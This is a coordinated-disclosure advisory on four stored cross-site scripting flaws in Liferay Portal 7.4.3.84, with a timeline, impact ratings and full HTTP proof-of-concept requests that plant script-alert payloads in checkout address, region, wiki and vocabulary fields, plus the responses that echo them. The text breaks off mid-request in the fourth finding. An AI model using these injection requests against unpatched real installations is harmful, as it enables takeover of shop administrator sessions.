Persistent cross-site scripting vulnerabilities in Liferay Portal
In 2023 we found multiple vulnerabilities in Liferay Portal, a digital experience platform for enterprise websites. It is a free and open-source software project. A few thousand installations on the Internet not suppressing the Liferay-Portal
HTTP response header can be found via special purpose search engines.
The Liferay Portal in the Community Version is the foundation for the web interface of Liechtenstein's electronic health portal. That's the reason we got involved with the portal software – not as a customer pentest project, but out of interest. We wrote a blog post about the Liechtenstein's electronic health portal (blog post is in German). We reported our findings regarding the Liferay Portal to Liferay in order to get them addressed. Now we are releasing technical details about the vulnerabilities.
Another vulnerability we mentioned in the health portal is a Denial of Service attack, where a nested Graph QL query is not restricted by the portal and which consumes available resources leading to a Denial of Service. This vulnerability is known to Liferay.
Just so there are no misunderstandings: We did not try to use these vulnerabilities against Liechtenstein's electronic health portal.
Impact
Cross-Site-Scripting (XSS) allows an attacker to execute JavaScript in the attacked origin, enabling them to act as the exploited user of the website. A stored XSS is persistently contained in the application itself, waiting for the victim to trigger it.
While the below Cross-Site Scripting issues are all caused by missing output encoding, their impact varies greatly. The first XSS (CVE-2023-42627) can be triggered by a shop customer, meaning any person on the Internet, and is then only executed when a shop administrator visits the customer's address in the shop's administrative web interface. This is a perfect attack vector for an attacker to control the entire Liferay installation or at least the permissions of the visiting shop administrator. Therefore, we would rate this XSS as a high impact XSS.
However, the second to fourth XSS (CVE-2023-42627, CVE-2023-42628, CVE-2023-42629) can only be triggered by an administrator (or at least someone having the appropriate role/permission) by changing certain settings of Liferay. While the execution of HTML/JavaScript is not intended behavior and the proper output encoding is missing, the attack vector in this case is less attractive for an attacker, because the attacker can often not fulfil this precondition of having certain administrative permissions. Although Pentagrid is not aware of the entire role concept/permission model of Liferay, it is assumed that in most cases this only allows a user with certain administrator permissions to attack a user with other administrator permissions. As administrators in general control web page content (especially in Liferay where they can even get a groovy shell on the underlying server), we would rate these three XSS issues as informational or low impact. The CVSS version 3.1 scores can only model this attack vector in the "privilege required" attribute and therefore does not fully reflect the elaborated difference.
Timeline
2023-07-13: Initial contact of Liferay and report of XSS vulnerability in shipping address field to security@liferay.com.
2023-07-17: Report of an XSS vulnerability in wiki child pages via E-mail.
2023-07-17: Liferay replied that they verified the vulnerability and will notify after a patch is released.
2023-07-18: Report of an XSS vulnerability in country region field.
2023-07-19: Report of an XSS vulnerability in vocabulary descriptions field.
2023-09-11: Feedback from Liferay that the vocabulary XSS is fixed in version 7.4.3.88.
2023-09-12: Liferay communicated CVE-IDs assigned to vulnerabilities.
2023-10-13: Liferay reported a status about all fixes.
2023-10-17: Public release of advisory after 90 days after the last reported XSS.
2023-10-17: CVE-2023-42629: Liferay publishes their advisory on CVE-2023-42629 and rates the vulnerability with a CVSS 3.1 score of 9.0.
2023-10-17: CVE-2023-42628: Liferay publishes their advisory on CVE-2023-42628 and rates the vulnerability with a CVSS 3.1 score of 9.0.
2023-10-17: CVE-2023-42627: Liferay publishes their advisory on CVE-2023-42627 and rates the vulnerability with a CVSS 3.1 score of 9.6.
Affected Components
These vulnerabilities have been observed in the Liferay Community Edition Portal version 7.4.3.84.
Technical Details
1. Persistent cross-site scripting vulnerability via billing and shipping addresses (CVE-2023-42627)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L, 8.3 High
When submitting an order, an attacker can inject malicious payloads. The following fields are vulnerable for both shipping and billing data: address
, address2
, address3
, city
and zip
. See the following example which uses the Speedwell theme.
The corresponding HTTP request for injection via the shipping address is:
POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1 Host: localhost:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 2212 Origin: http://localhost:9090 Connection: close Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/shipping-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455841126; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 _com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697455840993&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=shipping-address&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fshipping-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22shipping_name%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22shipping_phone%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22shipping_address%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22shipping_address2%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22shipping_address3%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22shipping_zip%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22shipping_city%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_region Id=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkboxNames=use-as-billing&p_auth=GgaH6PDc
The corresponding HTTP request for injection via the billing address is:
POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1 Host: localhost:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 2095 Origin: http://localhost:9090 Connection: close Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/billing-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697456017677; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 _com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697456016443&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=billing-address&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fbilling-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22billing_name%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22billing_phone%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22billing_adress%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22billing_adress2%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22billing_adress3%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22billing_zip%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22billing_city%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_li feray_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&p_auth=GgaH6PDc
Once the order is submitted, the payloads get executed in the browser of the victim (e.g. the shop owner) when they view the order details. The browser sends a GET request, for example:
GET /group/speedwell/~/control_panel/manage?p_p_id=com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet&p_p_lifecycle=0&p_p_state=maximized&_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_mvcRenderCommandName=%2Fcommerce_order%2Fedit_commerce_order&_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId=35980&p_p_auth=LRyvOYIu HTTP/1.1
The corresponding response contains:
HTTP/1.1 200 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate Pragma: no-cache Liferay-Portal: Liferay Community Edition Portal Content-Type: text/html;charset=UTF-8 Date: Mon, 16 Oct 2023 11:37:40 GMT Connection: close Content-Length: 99498 <div class="description"> <p class="mb-0"> <script>alert("billing_adress")</script> </p> <p class="mb-0"> <script>alert("billing_adress2")</script> </p> <p class="mb-0"> <script>alert("billing_adress3")</script> </p> <p class="mb-0"> <script>alert("billing_city")</script>, <script>alert("billing_zip")</script> </p> [...] <div class="description"> <p class="mb-0"> <script>alert("shipping_address")</script> </p> <p class="mb-0"> <script>alert("shipping_address2")</script> </p> <p class="mb-0"> <script>alert("shipping_address3")</script> </p> <p class="mb-0"> <script>alert("shipping_city")</script>, <script>alert("shipping_zip")</script> </p> [...]
Additionally, injections into the fields name and phone get executed when an attacker has set these as default billing or shipping addresses and the victim examines the account details afterwards. The menu for changing the default addresses is affected by this stored XSS vulnerability as well.
2. Persistent cross-site scripting vulnerability via country regions (CVE-2023-42627)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium
An attacker can inject arbitrary JavaScript or HTML code when adding country regions. A HTTP POST request for injecting JavaScript and HTML code is:
POST /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_javax.portlet.action=%2Fcommerce_country%2Fedit_commerce_region&p_p_auth=olPu9S6s HTTP/1.1 Host: localhost:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:9090/group/guest/~/control_panel/client x-csrf-token: GgaH6PDc x-pjax: true x-requested-with: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------195765885022298159623640673918 Content-Length: 2850 Origin: http://localhost:9090 Connection: close Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455335712 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_formDate" 1697455335661 -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_cmd" add -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect" http://localhost:9090/group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&p_p_auth=olPu9S6s -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId" 20916 -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionId" 0 -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_name" <script>alert("region_name")</script> -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionCode" <script>alert("region_code")</script> -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_position" 0.0 -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_checkboxNames" active -----------------------------195765885022298159623640673918 Content-Disposition: form-data; name="p_auth" GgaH6PDc -----------------------------195765885022298159623640673918--
These payloads get executed when a victim is examining the regions page. The corresponding HTTP GET request is:
GET /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&p_p_auth=olPu9S6s HTTP/1.1 [...]
The server then returns the injected HTML ands JavaScript code in the reponse:
HTTP/1.1 200 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate Pragma: no-cache Liferay-Portal: Liferay Community Edition Portal Content-Type: text/html;charset=UTF-8 Date: Mon, 16 Oct 2023 11:24:20 GMT Connection: close Content-Length: 117171 [...] <script>alert("region_name")</script></a> [...] <td class="table-cell-expand lfr-regioncode-column" colspan="1"> <script>alert("region_code")</script> </td> [...]
3. Persistent cross-site scripting vulnerability via wiki child pages (CVE-2023-42628)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium
When adding a new child page in a wiki page, an attacker can inject malicious payloads into the content
field. This payload gets executed in the browser of the victim when they visit the according parent page, because the payload is placed as text into the child page's container.
HTTP request:
POST /wiki?p_p_id=com_liferay_wiki_web_portlet_WikiPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_wiki_web_portlet_WikiPortlet_javax.portlet.action=%2Fwiki%2Fedit_page&_com_liferay_wiki_web_portlet_WikiPortlet_mvcRenderCommandName=%2Fwiki%2Fedit_page HTTP/1.1 Host: localhost:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:9090/client x-csrf-token: GgaH6PDc x-pjax: true x-requested-with: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------9342881932314680790817840128 Content-Length: 4704 Origin: http://localhost:9090 Connection: close Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455074560 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_formDate" 1697455074387 -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_cmd" add -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_redirect" http://localhost:9090/wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_editTitle" true -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_nodeId" 35926 -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_parentTitle" FrontPage -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_workflowAction" 1 -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_version" 0.0 -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_title" child page -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_contentEditor" -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_content" <script>alert("child node")</script> -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinksSearchContainerPrimaryKeys" -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinkEntryIds" -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_summary" -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_format" creole -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsShowOptions" false -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsViewRole" Guest -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions" VIEW -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions" ADD_DISCUSSION -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions" UPDATE -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions" SUBSCRIBE -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions" VIEW -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions" ADD_DISCUSSION -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="p_auth" GgaH6PDc -----------------------------9342881932314680790817840128 Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_saveButton" -----------------------------9342881932314680790817840128--
Later, the browser sends a GET request to retrieve the parent page, for example to the follwoing resource:
GET /wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage HTTP/1.1 [...]
The corresponding HTTP response contains the injected JavaScript code:
HTTP/1.1 200 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate Pragma: no-cache Liferay-Portal: Liferay Community Edition Portal Content-Type: text/html;charset=UTF-8 Date: Mon, 16 Oct 2023 11:18:28 GMT Connection: close Content-Length: 178424 [...]] <h4 class="text-default">Child Pages (1)</h4> <div> <ul class="list-group"> <li class="list-group-item"><h3><a href="http://localhost:9090/wiki/-/wiki/Main/child+page?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=child+page">child page</a></h3> <p class="text-default"><script>alert("child node")</script></p></li> </ul> </div>
4. Persistent cross-site scripting vulnerability via category vocabulary (CVE-2023-42629)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium
When adding new vocabulary to the categories, an attacker can inject a malicious payload into the description field. This payload gets executed in the browser of the victim when they visit the category page. If the malicious entry is not the first in the list, the payload gets executed once the victim selects the malicious entry.
HTTP request:
POST /group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/new?p_p_lifecycle=1&_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_javax.portlet.action=%2Fasset_categories_admin%2Fedit_asset_vocabulary HTTP/1.1 Host: localhost:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/client x-csrf-token: GgaH6PDc x-pjax: true x-requested-with: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------23385551494836211141651886319 Content-Length: 3949 Origin: http://localhost:9090 Connection: close Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697454288116 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_formDate" 1697454287833 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_redirect" http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_vocabularyId" 0 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title" MyCategory -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title_en_US" MyCategory -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description" <script>alert("description")</script> -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description_en_US" <script>alert("description")</script> -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_multiValued" on -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_visibilityType" 0 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_classNameId0" 0 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype29955-classNameId0" -1 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype20010-classNameId0" -1 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_indexes" 0 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsShowOptions" false -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsViewRole" Guest -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_guestPermissions" VIEW -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_groupPermissions" VIEW -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_checkboxNames" 